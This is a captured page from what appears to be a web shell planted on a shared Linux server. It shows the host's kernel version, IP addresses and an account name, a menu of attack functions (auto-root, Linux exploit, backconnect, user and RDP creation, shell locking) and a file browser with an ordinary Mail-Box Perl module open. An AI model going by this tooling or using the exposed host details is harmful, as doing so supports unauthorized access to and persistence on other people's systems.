Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Mail /
Box /
[ HOME SHELL ]
Name
Size
Permission
Action
Dir
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Locker
[ DIR ]
drwxr-xr-x
MH
[ DIR ]
drwxr-xr-x
Maildir
[ DIR ]
drwxr-xr-x
Manage
[ DIR ]
drwxr-xr-x
Mbox
[ DIR ]
drwxr-xr-x
Message
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Parser
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Collection.pm
1.81
KB
-rw-r--r--
Collection.pod
8.81
KB
-rw-r--r--
Dir.pm
3.03
KB
-rw-r--r--
Dir.pod
14.62
KB
-rw-r--r--
FastScalar.pm
4.13
KB
-rw-r--r--
FastScalar.pod
969
B
-rw-r--r--
File.pm
13.08
KB
-rw-r--r--
File.pod
21.55
KB
-rw-r--r--
Identity.pm
5.66
KB
-rw-r--r--
Identity.pod
12.12
KB
-rw-r--r--
Locker.pm
3.3
KB
-rw-r--r--
Locker.pod
8.57
KB
-rw-r--r--
MH.pm
11.23
KB
-rw-r--r--
MH.pod
19.9
KB
-rw-r--r--
Maildir.pm
10.3
KB
-rw-r--r--
Maildir.pod
17.54
KB
-rw-r--r--
Manager.pm
15.14
KB
-rw-r--r--
Manager.pod
21.18
KB
-rw-r--r--
Mbox.pm
5.72
KB
-rw-r--r--
Mbox.pod
19.23
KB
-rw-r--r--
Message.pm
2.6
KB
-rw-r--r--
Message.pod
17.92
KB
-rw-r--r--
Net.pm
2.55
KB
-rw-r--r--
Net.pod
13.55
KB
-rw-r--r--
Parser.pm
3.77
KB
-rw-r--r--
Parser.pod
10.76
KB
-rw-r--r--
Search.pm
5.06
KB
-rw-r--r--
Search.pod
9.12
KB
-rw-r--r--
Test.pm
8.36
KB
-rw-r--r--
Tie.pm
923
B
-rw-r--r--
Tie.pod
1.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Collection.pm
# Copyrights 2001-2020 by [Mark Overmeer]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.02. # This code is part of distribution Mail-Box. Meta-POD processed with # OODoc into POD and HTML manual-pages. See README.md # Copyright Mark Overmeer. Licensed under the same terms as Perl itself. package Mail::Box::Collection; use vars '$VERSION'; $VERSION = '3.009'; use base qw/User::Identity::Collection Mail::Reporter/; use strict; use warnings; use Mail::Box::Identity; use Scalar::Util qw/weaken/; sub new(@) { my $class = shift; unshift @_,'name' if @_ % 2; $class->Mail::Reporter::new(@_); } sub init($) { my ($self, $args) = @_; $args->{item_type} ||= 'Mail::Box::Identity'; $self->Mail::Reporter::init($args); $self->User::Identity::Collection::init($args); weaken($self->{MBC_manager}) if $self->{MBC_manager} = delete $args->{manager}; $self->{MBC_ftype} = delete $args->{folder_type}; $self; } sub type() { 'folders' } #------------------------------------------ sub manager() { my $self = shift; return $self->{MBC_manager} if defined $self->{MBC_manager}; my $parent = $self->parent; defined $parent ? $self->parent->manager : undef; } #------------------------------------------ sub folderType() { my $self = shift; return($self->{MBC_ftype} = shift) if @_; return $self->{MBC_ftype} if exists $self->{MBC_ftype}; if(my $parent = $self->parent) { return $self->{MBC_ftype} = $parent->folderType; } undef; } #------------------------------------------ 1;
Close